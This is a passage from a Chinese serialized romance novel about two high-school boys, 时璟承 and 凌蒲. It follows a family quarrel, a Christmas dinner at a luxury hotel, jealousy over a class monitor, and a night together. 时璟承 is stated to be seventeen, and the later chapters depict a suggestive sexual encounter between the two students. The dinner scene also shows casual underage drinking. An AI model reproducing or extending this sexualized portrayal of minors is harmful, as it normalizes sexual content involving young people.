第一节语文课,时璟承或许正开着他的劳斯莱斯稳稳停在小月亮家门前的草坪上,然后西装革履地迈下车门,酷炫等待。 然后小月亮一身漂亮裙子从里面走出来,郎才女貌。 第二节数学课,时璟承肯定和小月亮共同布置圣诞树,将一条价值连城的钻石项链藏在树下。小月亮够不着最上面的装饰物,时璟承抬手帮她。 第三节音乐课,时璟承应该正和小月亮共同观看高雅音乐会。或者直接在家里开展,时璟承弹钢琴,小月亮拉小提琴。 第四节英语课,两人应该在参加宴会,用流利的英语和外国人交流中。 …… 霸总和他的白月光在凌蒲脑海中度过了浪漫的一天。 最后,霸总对白月光说:“达令,你终于回国了,他们都不重要。从此我的心里只有你!” 旁边悲情女二喊道:“原来我只是个替身,我恨你!” 再然后—— “凌蒲!” 任展飞富有穿透力的声音终结了一切,被点名的凌蒲默默坐正学习。 * 此时此刻,被想象的男主角时璟承却并不如凌蒲脑海中那般潇洒。 他正坐在自家书房里,面对顾乾。 书房整体色调偏暗,墙上挂着价值不菲的字画,书架上摆放的书本整齐有致,也让整体氛围稍显压抑。 顾乾看上去挺疲惫,可能还是繁忙的工作导致没怎么休息。身上板正的西装微皱,手撑着桌子,茶水换了几茬,壶里剩下小半。 时璟承以前一直觉得顾乾会永远年轻,但现在却看到了些岁月细微的痕迹。 “Zev。”顾乾还是习惯性喊他英文名,“你该早点告诉我,而不是等有人通知我。” 时璟承没说话,显得心不在焉。 顾乾敲了下桌子:“他们这样骚扰你多久了?” “没多久。” 顾乾靠在座位上,揉了揉眉心:“我经历过你这个年纪,大概知道你怎么想。但有些事情是自己解决不了的,我来解决……” “不用。你忙你的。” “那你告诉我你怎么办?”顾乾耐着性子,看着时璟承。 今天上午的交流到现在为止毫无意义,这小子就像个撬不开的蚌壳,始终把真实想法藏着不说。从某种角度来说,两人性格很像。 “反正我不会如他们的愿。”时璟承依旧漫不经心。 “你要一直和他们耗,大学不上了?”顾乾极力想耐心,音量却仍是抬高了些,“这不是儿戏。” “随便。”时璟承丢下一句,“找你就说管不了我。你别插手。” 这话像是朝充满易燃气体的屋子里扔了个炮仗,压抑许久的空气瞬间被点燃。 “那是不是和我断绝关系来得更快点?”顾乾不再想废话,“你觉得我在意的是这个吗?我要是不管你从一开始就不会管你。” 向来冷静的顾乾没对时璟承发过这样的火,手上一拍桌子,衣袖扫过,边缘的茶杯应声而落,发出刺耳的响声,两人都愣了一下。 外面听到动静的邵晚熠立刻进来,用精湛的演技假装不知道发生了什么事。 然后打着圆场:“不是说好好谈一下吗,怎么这样了。好了好了,顾乾刚刚有人打电话给你没接,去回个吧。” 等顾乾出去,邵晚熠关上书房门,把地面简单收拾了下。 重新倒了杯茶,坐在时璟承旁边,递过去。 时璟承没接,邵晚熠也不意外,就手自己喝了。 “你们这俩都不会好好说话。”邵晚熠品酒似的,边喝边感叹,还给自己满上。 “更不用你管。” “我知道。没想管。” 邵晚熠和时璟承互喷式对话持续十几年,早就脱敏。 “你俩一个没上学一个没上班,在这聊了这么久,不就是为了知道彼此什么想法吗?为的总不能是吵架吧?你哥就你这么个宝贝弟弟,遇到什么事一起解决。” 他把这壶剩下的茶喝完就站起身:“没事,上学去吧,我俩兜底。大不了一起隐居山林。” 时璟承还没来得及做出反应,邵晚熠又惯常嬉皮笑脸地补几句。 “还得带上你那个小对象吧,说你好好的忽然要去猫咖办领养手续。 那天看你主动在群里发消息,我和你哥差点老泪纵横。不过你下次直接点,还说介不介意多个家庭成员,把我们吓死。还以为要当爷爷了。” “出去。”时璟承说。 邵晚熠笑笑,替他关上门,透过门缝看时璟承倔强的神情,那瞬间感觉和小时候差不了多少。 时璟承一个人坐了会儿,看了眼时间,也出了书房门回到自己屋里。 拿起桌上的手机给凌蒲发了今天有事的消息,对着屏幕上呆呆的头像摩挲了下,换得比较满意。 他没去学校,而是带着电脑去图书馆,查阅一下午资料。 走出来时天已经快黑了。 看着绵延亮起的圣诞灯,他想起什么。 拨通电话:“凌蒲,出来吃饭。” 凌蒲不知在做什么,似乎拿着电话移动,最终停留在一个地方,声音没什么精神:“我不要。我打算早点睡觉时璟承,今天很困。” 时璟承很少遇到凌蒲的拒绝,顿了下,说道:“今天圣诞。” “一个洋人的节日罢了。”凌蒲手里玩着在路上购买的圣诞手杖糖果,转了个圈,尽量让语气平淡。 “西街有圣诞树,会亮。” 凌蒲朝窗外看了眼,还是拒绝:“不要,我要写作业。今天有很多作业,你都不来上课算了。没什么事我还是挂了。” “我想见你,凌蒲。” 寒夜如水,时璟承的话像是浸在风里,清晰却又不真切。 凌蒲停下动作,许久都没有说话,最后问:“你在哪里。” 外面有些冷。 特定的街区已经布置了圣诞的装饰,连绵的灯光缠绕,呈现出暖暖的色调。硕大的圣诞树已然亮灯,围了不少人群。 凌蒲在其中行色匆匆,来到指定位置,远远就看到一个人站着的时璟承。 身高腿长,比例优越。一件藏蓝色立领外套,敞着怀,露出里面黑色薄衫。夜晚温度骤降,时璟承穿得有点单薄,也显得有点孤独。 “时璟承。” 凌蒲快步过去,把自己的围巾拿下来,戴在时璟承身上。他没给时璟承拒绝的机会,认真而专注地按照平常的系法,给对方结结实实围了一圈,上面带着柔软的体温。 “你怎么外套都不穿严实。”凌蒲抬起头,径直撞上那双黑色的星星。 不知道时璟承看了他多久。 凌蒲收回手。 “走吧,去吃饭。”时璟承戴着这条和衣服格格不入的围巾,带凌蒲走进身后的酒店。 酒店高大豪华,是凌蒲平常路过不会想过走进去的那种。里面也金碧辉煌,两边门童高大帅气,露出标准微笑。 凌蒲对着帮他们开门的帅哥回以笑容:“谢谢。” 被时璟承一把拉过,揽在怀里,捏了下他的脸,扬起的嘴角按下来。 和方才在外人头攒动不同,酒店一楼宽敞而安静,仅有的几个客人也在专注交谈,没人在意其他的。 服务人员带他们前往顶楼,来到全场视野最佳的位置。每桌之间距离很远,采用半封闭式遮挡,抬眼望去一侧是巨大的落地窗,另一侧是酒店天台,兼具隐私性和观赏性。 凌蒲愣愣地紧跟时璟承落座,空气中都充斥着金钱的味道。 “时璟承,你不是一直很低调吗?”凌蒲压低声音。 此刻服务生拿着菜单走过来,凌蒲噤声。 “随便点。”时璟承靠在背后的座椅上,示意把菜单先放在凌蒲那边,然后报了邵晚熠的名字,要取一瓶存酒。 凌蒲头一回从他身上看到点这样的影子,略有玩世不恭和颓废,比如电视剧里那种刻板富家公子哥,不过很淡很淡。 他低头看着菜单上的英文,想起那个经典笑话。 有看不懂英文的人在英文菜单上随便点了两个,结果听完小提琴曲之后许久未上,后来才知道那两首歌就是他们点的菜。 不由弯了下嘴角,然后一页一页翻,很认真地边阅读边猜,当成了英文读物。 等服务生醒好酒,打算给两人各倒一杯。 “他要果汁。”时璟承说,“麻烦菜单换份中文版。” 凌蒲获得了一份带翻译的菜单,上面各种花里胡哨的名字还是让他觉得像在阅读,后面没写金额,也让他不敢乱选。 时璟承和服务员说了些,对方先去准备。 “按你口味点的,一会儿先尝尝。有想吃的继续加。”时璟承摇晃酒杯喝了口,露出手腕处闪亮的表盘,表带很宽,和拿着酒杯的动作很配。 动作随意放松,却让凌蒲感到些许陌生,但又意识到这才是教室之外的时璟承。 也是和他相处之余的时璟承。 时璟承见凌蒲盯着他:“你不能喝,喝了又头疼。给你点了几种果汁。” 凌蒲垂下眼睛。 “抿一小口。”时璟承把手里的酒杯递过来。 第113章 时璟承透过玻璃酒杯,看到凌蒲乖乖低头,唇碰到酒液,对方的眉头不由自主皱起,但还是强装镇定地喝了口。 等酒液入喉,凌蒲眉毛拧得更深,表情皱起来。 时璟承轻笑了声,收回手,就着继续喝。 凌蒲假装无事发生,侧过脸看着窗外。虽然在这里生活挺久,但他很少以这个视角俯瞰。 朝下看高得让人眩晕,但如果放眼望去,林立的高楼绵延不绝,一盏盏或明或暗的灯光构成绚烂的色彩,点亮漆黑的夜空,万家灯火尽收眼底。 行车道宽而错落,不绝的车辆疾驰而过,用实景阐释何为车水马龙。 凌蒲的时光几乎都在小小的屋子里度过,学校和家两点一线,偶尔才会意识到这座城市是如此繁华,有很多他看不到的美景。 时璟承不紧不慢抬手看了一下表,指针走向八点。 “叮铃”,忽然响起音乐,这把凌蒲吓了一跳。他转身看去,发现方才平平无奇的天台忽然亮起一片斑斓的灯光。 一棵硕大的圣诞树矗立在中央,顶上一颗星星熠熠生辉。缠了好几圈小彩灯,挂得装饰数不胜数。 凌蒲的眼眸被映得发亮。 但忽然缩了下,他看到纷纷扬扬的雪花从天台上方飞扬而下,覆盖在圣诞树的针叶的针叶上。 慌慌忙忙地朝窗外看去,外面依然是那片安静的灯火,夜空明朗。 原来是只有天台区域在下人造雪,应该是独属于酒店的特别活动。 不过即使是人造雪也已然足够漂亮,满眼晶莹剔透的白从上而落,很像记忆中那场大雪。雪花会是六角形,落在手上冰冰凉凉,地上如同铺了层天鹅绒。 不少客人都前往拍照打卡,凌蒲自然不错过。 但他没有拍照,而是仰头看着雪。 片片如絮,他伸出手,任凭飘落到掌心。 却没有小时候慢慢变透明的六边形。稍稍用力一握,竟然原材料是泡沫,还挺神奇。 凌蒲隐蔽地抓着玩,低头认真研究。 在一众稳重的客人中格外显眼,旁边两个女孩看着他笑。 凌蒲察觉到,不动声色地把手揣回兜里,保持淡定。 “你头发上沾到了。”其中一个女孩拿出纸巾走过来,递给凌蒲。 “谢谢。”凌蒲接过。 乱擦不得章法,那女孩用纸巾帮他摘下来。 “你是和朋友来的吗?”女生问,穿着打扮很精致,落落大方。 凌蒲犹豫一下,点点头。 “那要不要一起” “凌蒲。”时璟承的声音在身后响起。 凌蒲回过头。 看到时璟承不知什么时候站在身后,身上藏蓝色外套依旧敞着怀,单薄的里衣显出挺拔优越的身材,手里拿着进入室内时解下的围巾,应该是离开座位时抓在手里。 泡沫雪花落在那头乌黑的头发上,仿佛挑染了一小片白。 两个女生似乎认识时璟承,和他打招呼。时璟承显然对待这种场面游刃有余,简单说了两句,对方礼貌地点点头,离开了。 时璟承揣兜站在原地,冷静地看着凌蒲。 成片的“雪花”越落越多,在两人之间轻轻飘着。 凌蒲抬头,望见时璟承在朦胧雪景里清晰地眉目,有种似曾相识的熟悉感。仿佛上一次因为雪花而快乐,也是与时璟承有关。 “时璟承,你记不记得小时候我们好像也在雪地里玩过?”凌蒲直接问。 “好像是。”时璟承漫不经心,“你在那里骗了我。” “” 一片人造雪落在凌蒲的睫毛上,他眨了眨,抬手想揉。 被时璟承按下,冷着脸用凌蒲手里的纸巾擦掉。 凌蒲眨巴两下眼睛,视线重新恢复清明,仰起头,发现和时璟承之间的距离陡然拉近。 “谢谢。”凌蒲干巴巴地说。 “不用谢。朋友该做的。” 时璟承淡淡,把“朋友”两个字咬得挺重。 凌蒲愣了下,知道时璟承听到刚才的话,皱起眉头。 “如果是你,你怎么回答?”凌蒲问。 “那当然”时璟承顿了一下,他不想在凌蒲面前先承认,好像他很在意似的。 这一瞬间的磕碰让凌蒲捕捉到,嘟囔:“讨厌你。你很随便。” “我哪里随便。你才随便。” 等两人重新落座,时璟承脸色比刚才黑了些,抬手将杯子里的酒一饮而尽。 此刻前菜已经被摆上桌子,凌蒲的注意力被吸引。每样摆盘别出心裁,看上去美味诱人。 时璟承把餐具递过去:“吃。” “不许这样说。”凌蒲依旧抗议这种和小狗说话的方式,但美味当前,他暂时放下其他。 服务生一趟一趟,上菜时间把握得很好,凌蒲只来得及一道一道接着吃,大快朵颐。 “时璟承你不来上学,我今天都没吃好。”凌蒲沉浸美味。 “司机给你送饭了,你怎么没出来。” “心情不好,不想吃。” 凌蒲想着,手上切牛排的力大了些,表面黑椒汁溅起,擦在脸侧。 好在不是太烫,时璟承用纸巾给他擦掉,拿过凌蒲手里的餐具,解救被残暴对待的牛排。 分成整齐的块状,让凌蒲拿着叉子就可以吃。 看着凌蒲鼓起一小块牛排形状的脸颊,时璟承的声音低下来:“忘记和你说了。下次请假提前告诉你。” “嗯。” 凌蒲在美食面前勉强原谅一切。 “但我下午给你发消息了。”时璟承说。 “真的吗?我没看到,下午在认真学习。” 当时的凌蒲沉浸在淡淡忧伤中,又被走廊里不时路过的任展飞密切监视,没有功夫关心别的。 现在他两只手都被食物和餐具占着,忙得很。于是时璟承打开手机,出示证据给他看。 上面聊天页面清清楚楚。 “还真是”凌蒲扫一眼,忽然不满,“时璟承,你竟然不给我备注。” 只见顶端的昵称还是原始的粽子表情,显得冷漠而生疏。这也太悲催了,不至于连个备注都没吧。 时璟承淡淡:“好友不多。能记得。” “备注很重要,像我定期都会清掉没有备注的好友。” 拥有无数好友的凌蒲对不多的理解该是几百个,他放下左手的面包,取下手套,要给自己备注。 时璟承把手机递过来,凌蒲单手准备输入自己的名字。 几次都没按准键,他忙着吃,暂时把首字母输进去占着。 “好了好了。”他示意时璟承拿回去,急急地赶在面包凉了之前重新拿起来吃。 时璟承锁了屏,看着凌蒲吃东西。 对方吃得投入而满足,眼睛微微眯起,像只对食物满意的猫,而且还是很好养的那种,给点什么都配合地吃。 “以后不要突然不见。” 凌蒲吃着吃着,又想起来。不过咽下去之后补了句:“提前告诉我。不用说原因,就和我说一声。” “嗯。” 一顿饭环节挺多,终于酒足饭饱,两人走在回去的路上。 时间已经挺晚,仿佛一切喧嚣结束,路灯安静地照耀在无人的街道,偶尔疾驰而过的车声。 让人觉得很美好。 凌蒲有点晕。虽说着不喝酒,但餐前酒抿一口,配餐酒抿一口,甜酒抿一口,餐后酒再抿一口,也感到微微发眩。而且今天从早到晚在上学,此刻在一天的末尾感到劳累。 身旁喝了不少酒的时璟承倒没事儿人似的,随意而轻松地揣着兜。 凌蒲不平,停下脚步。 时璟承也停下,转过头。 凌蒲抬手,左右看看无人,狡黠地朝下挥了挥:“时璟承,你弯一点腰。” “嗯?” 凌蒲快走几步,揽上时璟承的脖子,跳上去。 动作有点软,但时璟承手上托了把,让凌蒲成功降落在背上。 “嘿嘿。”凌蒲得意的傻笑在时璟承耳边传来,仿佛计谋得逞,“背我。” 时璟承把他朝上颠了下,很稳。 凌蒲在冬夜微凉的空气里嗅到时璟承身上若有若无的冷调香,他埋下头,脸颊和头发擦在对方肩膀上,轻轻嗅了嗅。 时璟承朝前走,凌蒲发丝一晃一晃。 “时璟承。”凌蒲含糊道。 “嗯?” “下下周五能不能和我一起过,不许和别人一块。” “下下周五,什么日子?”时璟承随口问。 凌蒲不告诉他:“你就说行不行。” “行。”时璟承答应。 凌蒲弯起嘴角,凑到时璟承耳朵边亲了一下。带着暖意的呼吸和热气逆着寒凉,接触在皮肤上。 时璟承微微侧过脸,垂下眼睛。 这样安静地走了一小段路,凌蒲主动在拐弯处下来。 “好了,我回家了,明天还要上课。”他在口袋里摸了摸,掏出一张便利贴塞进时璟承口袋,“我给你记的作业,回去要写。” 时璟承上前一步,把凌蒲衣服上的泡沫残留拍了拍。 低头在凌蒲脸侧吻了一下:“谢谢。” 凌蒲又抱上时璟承的腰,像是出于怕冷抱团的本能,不想独自进入寒冷的夜晚。 他继续聊:“你应该能算出来,下下周五是你生日。我估计你可能要举行生日宴会什么的,不过可以留几分钟给我吗?” “哦。”时璟承自己都忘了,“那得想想要什么。” 凌蒲愣愣,没想到他会这么说,抬头为难道:“礼物已经买好了。” 时璟承看着他呆呆的表情,忍不住笑了下。 “我说许愿。” “那可以。你提前想。”凌蒲热心分享自己的经验,“生日附近都算生日周的。如果有很多个的话,你可以提前许别的,把最重要那个留到生日。” “希望下次有人问凌蒲和我是什么关系,凌蒲可以说实话。”时璟承淡淡。 “喂,你还记着。” 第114章 【时璟承:上午有点事,不去了】 【时璟承:记得取司机送的饭,今天有排骨。】 匆匆赶到教室的凌蒲收到了消息,头像是呆呆的幼崽版凌蒲。 他抿了抿唇,塞回手机,望着旁边空荡的座位。 最近时璟承缺课的频率有点高。 有时候上午,有时候下午,有时候还会忽然被叫出去,离开一会儿。 这不免让想象力丰富的凌蒲展开翅膀,随意遨游。 “凌蒲,麻烦填下校服型号。” 忽然,班长沈庭赫拿着表走过来,“你这学期才转,要补订。” “噢噢。”凌蒲回神。 沈庭赫俯身,重新给他指了下位置。 “上课进度跟得怎么样,之前课程补上了吗?”在凌蒲填写之际,沈庭赫问他,像是班长在例行关心。 “嗯嗯。” “不会的可以问我。”沈庭赫微笑,“讲题或许比时璟承更清晰些。” 凌蒲听他提这个名字,抬起头。 在来这个班级前,凌蒲就听苏颜杉科普过,说理科1班两个大帅哥,除了时璟承之外,凌蒲猜测另一个是这个沈庭赫。 五官长得养尊处优地好,气质温文尔雅,时不时架一副低度数眼镜,待人接物如同春风,和时璟承不是同类型。 凌蒲没多想:“我之前在排名表上看到你了,你是年级第二,肯定特别厉害。” 沈庭赫没接这茬,只说了句:“我还没见过时璟承和谁关系这么好。” 他收走表格,凌蒲觉得这段对话有点莫名其妙。 偷摸着又在手机看了一眼,给程益添每日例行的提醒回了个“好的”,又检阅了几个疑似广告的陌生电话,塞回去。 在早自习铃声打过之后,他接下来老老实实。上课听讲记笔记,还标注了重点,打算给缺课的时璟承借鉴。 第四节是英语课,英语老师年轻而充满活力。 “各位,这次是之前说好的pair work,大家两人一组按照话题进行口语探讨,一会儿请大家展示。” 往常都是同桌两两一组搭配进行讨论或者做对话,今天凌蒲没同桌,打算自己朗读一遍。 忽然旁边座椅被拉开,他愣了一下,转过头。 发现是方才那个班长沈庭赫。 沈庭赫坐下,友好道:“凌蒲,我和老师申请了,来和你一起练习。” “不用了吧,那你同桌怎么办?” “她们本来就想三个人一起讨论。”沈庭赫用目光示意凌蒲看他座位旁边的几个女生,已经围作一团。 英语老师巡视过来,投以督促的目光。凌蒲也不便说什么,只得拿起书本,和沈庭赫做对话练习。 沈庭赫口语不错,像是行走的英语听力。 “这个发音的重音错了,放在第二个音节上。”沈庭赫替凌蒲纠正。 凌蒲重读一遍,做完所有对话,感觉颇有收获。他忍不住问道:“这些话题在国外真会发生吗?感觉学好课本也没法和外国人对话。” “那确实应该不够。”沈庭赫笑道,“外国人不会按课本提问。” “噢。”凌蒲有些沮丧,想要达到时璟承的水平,融入他和他朋友们的对话,可能遥遥无期,或许永远都做不到。 “因为高中阶段英语侧重书面,口语部分的考评很薄弱。”沈庭赫说,“如果专门练口语的话提升会很快,我可以教你。” “真的吗?”凌蒲的眼睛亮起来。 他没有太多防备心,和沈庭赫聊起英语,还被科普了去国外需要的是雅思和托福考试,而非。高中英语成绩。 虚心听了一阵,凌蒲接收了不少新知识,还挺专注。忽然一抬头,带着未敛的笑容撞上走廊里的时璟承。 时璟承难得没有规规矩矩背书包,而是单边甩在肩膀上,发型微乱,似乎来得匆忙。 现在正目光沉沉地望着属于他的位置,正坐着沈庭赫。 凌蒲看到时璟承的神情,本能地一个激灵,暗道大事不妙,对着外面徒劳地比了几个手势,恨不得现在就出去解释前因后果。 沈庭赫倒是一点不意外地回过头,朝时璟承点头,打了个招呼。 英语老师叫停讨论,开始展示,她特意点了沈庭赫和凌蒲这个新组合。两人一问一答地做完了对话,获得了夸张的“Excellent!”表扬。 然而凌蒲并没有惊喜,只是偷偷朝外瞄。他感到如坐针毡,仿佛上方悬着一把利剑,告诉他要午时斩首。 下课铃一打,同学们纷纷跑出去抢饭,教室瞬间变得人烟稀少。仿佛左右掩体撤去,凌蒲如同将要被捕获的猎物一般失去安全感。 沈庭赫起身,收拾好自己的书本,还把座椅推回去归位,对凌蒲说:“很愉快的合作。说好了,每天教你英语。” 然后便从后门离开,留下没反应过来的凌蒲。 什么时候说好了? 被陷害的凌蒲站在原地,隔着玻璃和时璟承对视,老老实实走出去:“时璟承你来了,怎么不进来听英语课?” “哪有我的位置?”时璟承反问他。 “班长其实也是好心。本来我一上午都一个人在这里的,后来英语课老师说这节课讨论比较多,班长他就申请过来和我英语对话,他可能不知道你英语课会回来,没有故意占你的位置。” 凌蒲急急地说道,又悄悄碰了下时璟承:“在走廊站这么久,手都冰了。” 时璟承倚着栏杆抱臂:“别转移话题。” 凌蒲的小心思被戳破,笑了下:“你别生气嘛。下次我守护好你的位置,一定不让别人坐。” 他语气像哄幼儿园小朋友,时璟承拧眉:“我这么幼稚,为一个位置生气。” “那你的意思是下次别人可以坐你的位置?” “不能。” 凌蒲看着时璟承,总觉得似曾相识,仿佛看过不少次缩小版。他使出浑身解数,对方似乎都没有消气。 于是暂时放弃:“我饿了时璟承。” 时璟承冷哼一声,转过身,凌蒲跟上。 两人一前一后地出校门上车,司机把饭盒交给他们,凌蒲大快朵颐,但时璟承还在生气。 凌蒲边吃边说:“我觉得这一点也不幼稚时璟承。那是你的位置,别人要坐得提前和你打声招呼,就像动你的东西也要和你说一样。” 时璟承盯着凌蒲。 凌蒲絮叨;“事发太突然,下回我一定让班长把自己的凳子搬过来,坐在另一边讨论。或者我搬凳子过去” “凌蒲,你是不是见到长得帅点的都喜欢?”时璟承冷声打断他。 凌蒲咬着块排骨笑:“你怎么这么夸自己,时璟承,你可不是有点帅,特别特别帅。” “沈庭赫呢?你也喜欢?” “关沈庭赫什么事。”凌蒲低头吃饭,没有什么事情能让他转移注意力,“等我吃完先。” 时璟承耐着性子等,被硬塞了几块挑掉骨头的排骨肉和胡萝卜,还有剥好的大虾,和一筷子米饭。 吃完之后的凌蒲眯眼靠在时璟承身上,脑袋一歪就睡着了。 下午更是紧锣密鼓地上课,放学后把作业写完的凌蒲才被忍无可忍的时璟承带回家。 凌蒲宾至如归,丝毫没有被绑架的畏惧,把书包一撂就靠在沙发上,和时璟承絮叨上午错过的事情。 “你离沈庭赫远点。”时璟承主题明确。 “怎么又沈庭赫了?”凌蒲皱眉,“你讨厌他吗?” 眼看两人聊一个世纪也聊不到一起去,时璟承直说:“凌蒲,你见异思迁。不过一上午你就这样,要是以后不在面前了怎么办。” 凌蒲着实愣了愣:“原来你在想这个。我哪样了了,想太多。” 又小声咕哝:“不在面前还管我。只许州官放火,不许百姓点灯。” 时璟承冷着脸上楼回屋。 凌蒲跟上去,冷着脸摸出书给对方补上午的课程。 努力将语气调得和时璟承相似,十分冷漠。时璟承没表情地听,偶尔会写几个笔记。 合上书,凌蒲冷着脸提出要求:“我要洗个澡,时璟承。” 之前留宿大都是喝醉形态,冬至日那天是洗完澡才去的奶奶家,因此都没有在此沐浴。 但今天凌蒲计划洗澡。 他把自己的书收进包里,忽然瞥见时璟承书桌一角堆着几本英文资料,露出一侧书脊,隐约写着“托福词汇”。 随着窗帘被拉上,几本书都被盖在了黑暗里。 凌蒲目光短暂停留,假装什么都没看到。 “洗。”时璟承压了下窗帘角。 “说好不许这样说话,又像命令小狗一样。”凌蒲抗议,又理直气壮地问,“你这里有没有新的换洗衣物?” 时璟承把凌蒲从上到下打量一下。睡衣早就在家里有好几件,在脑海里为Q版凌蒲脱掉睡衣,就剩个小裤衩。 显然凌蒲这个委婉说法有明确指向,时璟承拉开抽屉,让凌蒲去挑。抽屉里码得整整齐齐,一看就是管家准备的,真是少爷。 凌蒲挑了一个带点图案的,以错开时璟承的审美,防止混淆。 他满意地抓起衣服,前往浴室。 水声哗啦哗啦,舒适的热气蒸腾包裹着,在冬日里的一场热水澡简直是种享受。 凌蒲这人并不是很记仇,冲了一澡之后就把恩恩怨怨给忘了。按照在家的习惯,一边哼着歌一边用吹风机给自己的脑袋吹个向上的发型。 临出去时才想起身处何方,赶紧压下去,重新打理得酷一点。 乐呵地回到时璟承卧室,看到对方正靠在床上看书,似乎也在其他房间里冲了凉,发尾带着点湿意,更是帅得没边,他张开手扑过去。 时璟承一躲。 “你还在生气吗,时璟承。”扑了个空的凌蒲顺势滚一圈,抱上时璟承,脸颊贴在对方后背上,声音黏黏糊糊毫无芥蒂,“别生气了,原谅我吧。我错了。” 淡淡的清香在空气中交缠,相同的洗发水和沐浴露能被彼此清晰分辨。凌蒲耍无赖般地把脸蹭来蹭去,仰起头去亲时璟承的耳朵。 脸颊被推开。 他便又被子里钻一阵,趴在时璟承身上,一双漂亮的眼睛从下朝上望,仿佛湖畔的星星在点火。 柳下惠都不一定能坐怀不乱,更何况是十七岁的时璟承,正值兵荒马乱的年纪。 凌蒲一个人玩着,胆子逐渐大起来,手探进时璟承衣服里,试探性地摸了摸,感受到结实的腹肌,难怪穿衣服那么好看。 眼见时璟承还没动静,报复似的继续向上又朝下摸。 “凌蒲。” 时璟承终于出声制止,按住凌蒲的手。声音有点哑,是凌蒲没听过的,莫名性感。 眼看对方目光变得危险,凌蒲又开始装傻,嘿嘿笑一声,想从时璟承身上翻下去。 只感到一轻,似乎被朝上拔了下,接着天翻地覆,他就位置颠倒,被按在床上。视线交错,凌蒲看到时璟承目光里是清晰的隐忍和克制,深不见底。 凌蒲紧张地乱看一阵,最终闭上双眼,睫毛密密地颤。 一个意料之中的吻落在唇上,暧昧的灯光流淌在夜色里,如同笼罩了一片明月流黄,不时泄露点细密水声。 过了一会儿,时璟承支起身,伸手捋了下凌蒲额前的碎发,看着凌蒲熟悉的,永远没什么烦恼的脸颊,缓缓低头,埋进他的颈窝。 凌蒲愣了一下,睁开眼睛,朝旁边垂下目光,看到乌黑的发顶。尤其是经过白皙细腻的颈侧皮肤一衬,即使在昏暗的灯下也有鲜明对比。 “时璟承?”凌蒲声音很小,并没有打扰和催促的意味。 他感受到了时璟承的情绪,有点怪,有点累。 于是本能地抬手,指尖没入一点发梢,安抚似的轻轻摸了摸。 第115章 月色洒进宽敞的屋内,轻柔地笼着床的一侧。 时璟承的发色近看还是很黑,镀了层淡淡的光,把凌蒲的手指衬得白皙。 凌蒲摸着摸着就开始玩起来,有一下没一下地拨弄着,一直只能远观的乌发现在被指尖触碰,有种奇妙的体验。他低头看着手,去追逐发上的月光。 在指头上缠绕一圈,再卷,试试能不能缠两圈。 忽然动作一停。 颈侧有点痒,像上回一样麻麻酥酥,只不过这次持续得时间更长一些,湿润发烫的电流在持续输送。 时璟承似乎在他皮肤上轻轻吮吸啃咬,唇和高挺的鼻梁蹭过,一路向下,到了锁骨上方,咬了口。 凌蒲抿住唇。 他本能地制止时璟承,忽然意识到手上还缠着头发,连着根在拽。 时璟承“嘶”了声,抬起头。凌蒲在昏暗的光线里看到对方漆黑的眼眸,里面各种情绪浓得化不开,和白天相比多了陌生的攻击性和占有欲,恍惚间像是享用猎物的猛兽。 凌蒲不敢再看,匆匆松开手,那头黑发被弄得乱七八糟。 “对不起。”凌蒲道歉,徒劳地压一压。 时璟承没说话,吻了下凌蒲的唇。 顺着下巴到颈侧白皙细腻的肌肤,触感温热,连接心脏的血管在有规律地跳动。锁骨长得漂亮,上面横着红绳碧玉,随着动作晃动。 解开第一颗扣子,时璟承低下头,掠夺更多的领地。 凌蒲把嘴唇咬得很紧,去推时璟承的肩膀,指尖攥住衣服,上面还带着方才头发绕出来的几缕红痕。 等到第二颗扣子的时候,一丝声响从凌蒲的喉咙溢出,让他有些不知所措,贝齿迅速压深柔软的唇。 他听到时璟承的呼吸声在变重,动作开始不加控制,明白这是接下来要发生些什么的前兆,但心里并不排斥。 如果是时璟承,那是可以的。 镜花水月一场,如雁渡寒潭,总希望能留下点什么。 时璟承感到凌蒲分了分腿,他愣一下,轻笑了声。抬头看到凌蒲闭上的眼睛,和在灯下微微颤动的睫毛,那是一种全身心的信任,任人宰割的妥协。 察觉到注视,凌蒲抬手,遮住眼睛,随着动作微微仰头,露出脆弱的喉咙,一动不动,彻底交给时璟承。 “你会享受。” 时璟承俯下身,伺候凌蒲这位躺平的爷。目光不时落在凌蒲脸上。 任何一个表情和反应都是青涩的,让他获得足够的心理满足 轻轻吻了下凌蒲额角汗湿的头发和微张的唇,时璟承捏捏他的脸。 凌蒲的手依然挡在眼睛上,半天没有回过神。 这一切都刺激得超乎他想象,仿佛灵魂短暂离开了,像过山车一样只有招架之力,是时璟承在主导他的身体。 缓了一会儿,发现时璟承没有下一步动作,凌蒲伸手探了探他:“不继续吗?” “继续什么?”时璟承拿过纸巾,慢条斯理地替凌蒲擦拭,语气玩味。 凌蒲喘着气,平复呼吸:“你怎么办?” 和他的溃不成军不同,时璟承连衣服都没有解,一丝不苟。 时璟承垂下眼,珍视地吻了凌蒲,心不在焉道:“下次吧。” 凌蒲望着时璟承的背影,想起方才的自己,重新捂上眼睛。 等时璟承从浴室回来,发现凌蒲占据了他的被子,已经抱着枕头睡着了。睡颜安稳而平静,脸颊红润,仿佛没有任何烦恼。 时璟承掀起一点被子,凌蒲咕哝一声,朝旁边挪了挪,让开位置。但等人躺进来,凌蒲又重新抱上,脸颊贴着时璟承的肩膀。 月色的光明了又暗,熹微的日光取而代之,逐渐天明。 时璟承替凌蒲穿好衣服,准备好早餐,一起去上学。 时间的小白马在紧锣密鼓的学习生活里跑得飞快,两人仿佛越来越亲密,凌蒲却也愈发患得患失。 一个夜黑风高的夜晚,一无所知的程益添照例发了个元气满满的“甩掉他”。 这次凌蒲没有回“好的.jpg”,而是缩进被窝,偷偷打字。 【/粽:程益添,我要告诉你一件事。】 【程益添:?】 【/粽:我不会甩掉时璟承了,我没有打算耍他。】 【程益添:?????为啥】 【/粽:因为我有点喜欢他 凌蒲删掉,敲敲打打,那边打来电话。 风声呼呼吹,听起来环境有点恶劣。 “喂,凌蒲,你知道吗?我现在正穿着睡衣躲在厕所给你打电话。”程益添压低的声音传来,如同特务出任务。 “那你还是去睡觉吧。” “我怎么睡得着?”程益添难以冷静,“你怎么了?果然是沦陷了,我就料到你哪里能玩得过时璟承。他那都是套路,是假的!” “他很优秀。”凌蒲小声,“说来话长,你先别激动。” “但你不知道他的真心在哪。我真没想过你会早恋,早知道就和乔玥说”程益添忽然提了个名字,但又立刻止住。 凌蒲没听清,只先安抚着程益添的情绪:“我做好了分开的准备,没关系的。” 程益添好久说话,只感到追悔莫及,他早该料到单纯的凌蒲玩不过时璟承,简直是羊入虎口。 “你” 